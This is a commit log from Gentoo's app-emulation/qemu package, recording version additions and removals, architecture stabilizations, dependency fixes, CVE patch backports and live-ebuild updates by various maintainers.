Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: Bump 8.2.5+ to seabios 1.16.3
8.2+ has a long boot delay with seabios 1.16.0 unless a CD-ROM drive is attached. I cannot bump this for 8.2.3 because the new seabios version isn't stable yet. Bug: https://bugs.gentoo.org/933284 Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: handle dev-debug/systemtap[-dtrace-symlink]
See efb3a82e3496d3a52a1d04d4cbdb83b25655d96a. Bug: https://bugs.gentoo.org/938302 Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: SystemTAP -> SystemTap
dev-debug/systemtap is called 'SystemTap'. Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.0.2
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.6
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.13
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 9.0.0
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 7.2.4
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.0.1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.5
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.12
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 8.2.1, 8.2.2
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.0.4
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 7.2.9, 7.2.10
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.11 x86, #930931
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.11 ppc64, #930931
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.11 arm64, #930931
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.11 amd64, #930931
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.2.3 arm64, #930932
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.2.3 x86, #930932
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.2.3 amd64, #930932
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 8.2.3 ppc64, #930932
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.5 x86, #914827
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.5 ppc64, #914827
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.5 arm64, #914827
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.5 amd64, #914827
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add new hppa-firmware64.img to QA_PREBUILT
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add pre-generated docs for 9.0.0
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.11
Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: Add 9.0.0
QEMU-9.0.0 was released earlier this week: https://www.qemu.org/2024/04/23/qemu-9-0-0/ Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/36471 Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: Update live ebuild
Because we want to download all dependencies in fetch phase (fixed in [1]), we keep a list of subprojects among with their latest commit hash. Well, in commit [2] qemu bumped 'berkeley-testfloat-3'. Reflect that in our live ebuild. Unfortunately, I've missed this in qemu-8.2.0 timeframe (in which the qemu commit was merged), but there's no real harm as these subprojects are part of dist tar. IOW, it's only live ebuild that needs to fetch subprojects explicitly. Also, some patches don't apply cleanly anymore. Rebase them. Oh, and 'nios2' target was removed [3]. 1: https://github.com/gentoo/gentoo/pull/32684 2: https://gitlab.com/qemu-project/qemu/-/commit/c01196bdddc280ae3710912e98e78f3103155eaf 3: https://gitlab.com/qemu-project/qemu/-/commit/6c3014858c4c0024dd0560f08a6eda0f92f658d6 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.2.2
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.10
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 7.2.8
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.2.0
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.1.4
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.1.5 arm64, #923565
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.1.5 amd64, #923565
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.1.5 x86, #923565
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.1.5 ppc64, #923565
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 8.1.2, 8.1.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 7.2.6, 7.2.7
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.1.5
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.9
Signed-off-by: Sam James <sam@gentoo.org>
Raul E Rangel · gentoo
app-emulation/qemu: Add missing ninja BDEPEND
``` ERROR: Cannot find Ninja * ERROR: app-emulation/qemu-7.2.8::portage-stable failed (configure phase): * configure failed * * Call stack: * ebuild.sh, line 125: Called src_configure * environment, line 5053: Called qemu_src_configure 'softmmu' * environment, line 4914: Called die * The specific snippet of code: * ../configure "${conf_opts[@]}" || die "configure failed" ``` Signed-off-by: Raul E Rangel <rrangel@chromium.org> Closes: https://github.com/gentoo/gentoo/pull/35108 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
Move {dev-util → dev-debug}/systemtap
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
Move {dev-util → dev-build}/meson
Signed-off-by: Michał Górny <mgorny@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/34790 Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: sys-devel/bc -> app-alternatives/bc
All of these will be using app-alternatives/bc anyway as they're not calling bc-reference, so make the dep reflect reality. Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.1.4
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.8
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.2.0
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.0
Signed-off-by: Sam James <sam@gentoo.org>
Matoro Mahri · gentoo
app-emulation/qemu: require CONFIG_IP_MULTICAST for test suite
Bug: https://bugs.gentoo.org/914827 Signed-off-by: Matoro Mahri <matoro_gentoo@matoro.tk> Closes: https://github.com/gentoo/gentoo/pull/34380 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.1.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.7
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop 7.2.0-r3, 7.2.3
Bug: https://bugs.gentoo.org/909542 Bug: https://bugs.gentoo.org/865112 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 8.1.0-r1, 8.1.1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.0.0-r1, 8.0.2, 8.0.2-r2, 8.0.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 7.2.1, 7.2.3-r1
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: sync live
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.1.2
Closes: https://bugs.gentoo.org/907425 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix BetterCompressionUri
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: don't conditionally define phase
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.1.1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.0.5
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.6
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
José Pekkarinen · gentoo
app-emulation/qemu: build pipewire audio-drv
This patch adds the pipewire audio-drv to the audio-drv list if pipewire USE flag is enabled. Signed-off-by: José Pekkarinen <koalinux@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/32680 Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-qemulation/qemu: Download subprojects in fetch phase
As suggested in [1], instead of using 'meson subprojects download' in src_unpack() phase, the subproject tarballs can be downloaded upfront and then merely just unpacked and moved to their respective locations. This allows users to fetch sources and build without network access. 1: https://github.com/gentoo/gentoo/pull/32484#discussion_r1308083818 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/32684 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: BDEPEND on dev-python/pip for now
Better to do pip than python[ensurepip] given that's a heavier build. Hope to be able to avoid pip entirely but this is a cheap add for now. Bug: https://bugs.gentoo.org/913084 Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: Adapt live ebuild to meson subprojects
The upstream is moving away from explicit git submodules to meson subprojects. This renders EGIT_SUBMODULES useless (wrt submodules we care about), but as there are still some submodules (that we don't care about) set the variable to empty array. Unfortunately, our meson.eclass doesn't support subpojects yet, therefore mimic what at least one other ebuild does (sys-apps/dbus-broker): provide an alternative implementation of src_unpack() for the live ebuild that downloads additional repositories via 'meson subprojects download'. The non-live ebuilds do not need this because the release archive contains bundles all subprojects. Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/32484 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.4 arm64, #912205
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.4 ppc64, #912205
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.4 x86, #912205
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 8.0.4 amd64, #912205
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.4 arm64, #909541
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.4 ppc64, #909541
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.4 x86, #909541
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.4 amd64, #909541
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.1.0
Fix some test failures too (skip a test which fails for me, probably kernel config or network-sandbox related + crank up timeouts). Closes: https://bugs.gentoo.org/865647 Closes: https://bugs.gentoo.org/867766 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.0.4
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.0.3 ppc64, #910493
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.0.3 x86, #910493
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.0.3 arm64, #910493
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 8.0.3 amd64, #910493
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
David Seifert · gentoo
Reverts: 9137676 (app-emulation/qemu: update sys-firmware/ipxe version specifier)
* qemu is too brittle wrt to firmware. Signed-off-by: David Seifert <soap@gentoo.org>
David Seifert · gentoo
app-emulation/qemu: update sys-firmware/ipxe version specifier
Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 7.2.4
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.0.3
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: use right CVE-2023-2861 patch for 8.0.2
Fixes: d2d08ad4d9a70136bf79818eb698e3cb7eead3b0 Bug: https://bugs.gentoo.org/909542 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: destabilize 7.2.3-r1 for ~amd64
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: fix CVE-2023-2861 for 8.0.2
Bug: https://bugs.gentoo.org/909542 Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: fix CVE-2023-2861 for 7.2.3
Bug: https://bugs.gentoo.org/909542 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.3 amd64, #909541
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Patrick McLean · gentoo
app-emulation/qemu: add 7.2.3
Signed-off-by: Patrick McLean <chutzpah@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas Sturmlechner · gentoo
app-emulation/qemu: drop 7.2.0, 7.2.0-r2
Drops last media-sound/pulseaudio revdep remnant ebuild in here. Signed-off-by: Andreas Sturmlechner <asturm@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: tweak REQUIRED_USE to not require seccomp on macOS
Doesn't exist there. Reported-by: Konstantin Kliakhandler Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: only depend on libcap-ng on linux
Reported by shwouchk in #gentoo-prefix. QEMU can work on macOS but libcap-ng doesn't make sense there. Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 8.0.2
Fixes CVE-2023-0330. Bug: https://bugs.gentoo.org/905342 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.0-r3 arm64, #905866
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.0-r3 amd64, #905866
Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: update live ebuild
Couple of things: 1) Upstream removed checking of $make (commit v8.0.0-1332-gb17bbf835c) , rendering our qemu-8.0.0-make.patch useless. Just stop applying it. 2) Subprojects are moved under subprojects/ gradually (v8.0.0-1330-g58e48b2e72 for dtc, v8.0.0-1331-gc53648abba for keycodemapdb). Update corresponding paths in the ebuild. 3) QEMU gained native pipewire support (v8.0.0-403-gc2d3d1c294). Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/31225 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Thanks to Paolo Bonzini for the update regarding qemu-8.0.0-remove-python-meson-check.patch Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.0-r3 ppc64, #905866
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.0-r3 x86, #905866
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Sam James · gentoo
app-emulation/qemu: revbump for added docs
USE=-doc before/after changed meaning. Fixes: ce5466223d0749e07aa0c04a20abcef6e4bf9098 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add pre-generated docs for 8.0.0
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix configure
Version 8.0.0 complains about not using internal meson when conifguring. For the time being, simply disable the check. We should fix this properly, though. Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: add 8.0.0
- merge qemu-7.2.1 and qemu-9999 ebuilds - remove static keyword - update to --enable-trace-backends configuration option Bug: https://bugs.gentoo.org/905342 Bug: https://bugs.gentoo.org/865121 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: add 7.2.1
Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: drop useflag static, not really useful
Bug: https://bugs.gentoo.org/892327 Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: rebase 2 patches for git master
Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: backport fix for TCG for x86
Bug: https://bugs.gentoo.org/895746 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix build w/ linux-headers-6.2
Closes: https://bugs.gentoo.org/895662 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Viorel Munteanu · gentoo
app-emulation/qemu: add static dependency on dev-libs/capstone
Closes: https://github.com/gentoo/gentoo/pull/29629 Signed-off-by: Viorel Munteanu <ceamac@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
Rename dev-python/{sphinx_rtd_theme → sphinx-rtd-theme}
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: fix more configure options
Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Andreas K. Hüttel · gentoo
app-emulation/qemu: fix configure options
Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: drop 7.1.0, 7.1.0-r2
Bug: https://bugs.gentoo.org/883693 Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.0 arm64, #889974
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: update min versions in live
- libpng (actually in release): https://github.com/qemu/qemu/commit/1ec8c2c01ed9c1b2bc8a273c7045e179f90013bc - spice: https://github.com/qemu/qemu/commit/5c167b5301fc95731134886dfa61ce8c2de9f8c3 - spice: https://github.com/qemu/qemu/commit/34d55725e664445ccd5621165b1ef805197a530e Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.0 x86, #889974
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.0 amd64, #889974
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
David Seifert · gentoo
*/*: remove py3.8 from PYTHON_COMPAT
Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.0 ppc64, #889974
Signed-off-by: Sam James <sam@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: keyword 7.2.0-r1
Signed-off-by: John Helmert III <ajak@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/28963 Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: dependency/automagic linkage fixups
Closes: https://bugs.gentoo.org/886207 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: Try to loosen seccomp dependency (for sparc)
Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop upstreamed but commented patches
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0, drop 7.2.0_rc4
Bug: https://bugs.gentoo.org/883693 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0_rc4, drop 7.2.0_rc3
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop 7.0.0-r3
Bug: https://bugs.gentoo.org/857657 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.1.0-r2 amd64, #883695
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.1.0-r2 ppc64, #883695
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.1.0-r2 arm64, #883695
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.1.0-r2 x86, #883695
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0_rc3, drop 7.2.0_rc2
Bug: https://bugs.gentoo.org/883693 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0_rc2, drop 7.2.0_rc1-r1
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Brian Evans · gentoo
app-emulation/qemu: Drop caps and seccomp USE
Non-maintainer commit This follows with the vhost-user-fs drop as it made these USE required. Instead of having users get errors, just drop the USE and make the deps and configure options always installed. Bug: https://bugs.gentoo.org/873190 Signed-off-by: Brian Evans <grknight@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: revbump 7.1.0 to force-on vhost-user-fs
Bug: https://bugs.gentoo.org/873190 Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: sync live
Bug: https://bugs.gentoo.org/873190 Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: force on vhost-user-fs
Bug: https://bugs.gentoo.org/873190 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0_rc1
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: sync live
Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: add 7.2.0_rc0
Leave the new loong patches commented for now as they don't cleanly apply. Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Andreas K. Hüttel · gentoo
app-emulation/qemu: 7.1.0 revbump, fixing 3 qemu-user bugs
Backport of 3 patches from master, for mips and loongarch64 usemode emulation Signed-off-by: Andreas K. Hüttel <dilfridge@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: Update live ebuild
Two things happened upstream: a) slirp submodule was dropped [1], b) strings binary usage was dropped from the configure script [2]. This means, we have to stop removing slirp/ directory and change the argument we pass to the configure script. Also, The 7.1.0-strings.patch is no longer necessary. 1: https://gitlab.com/qemu-project/qemu/-/commit/5890258aeeba303704ec1adca415e46067800777 2: https://gitlab.com/qemu-project/qemu/-/commit/33ab5f24913db8d5590fe4155829bd38e7902506 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/27843 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: fix configure failure with USE=capstone
Closes: https://bugs.gentoo.org/873157 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: enable py3.11
Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: keyword 7.1.0
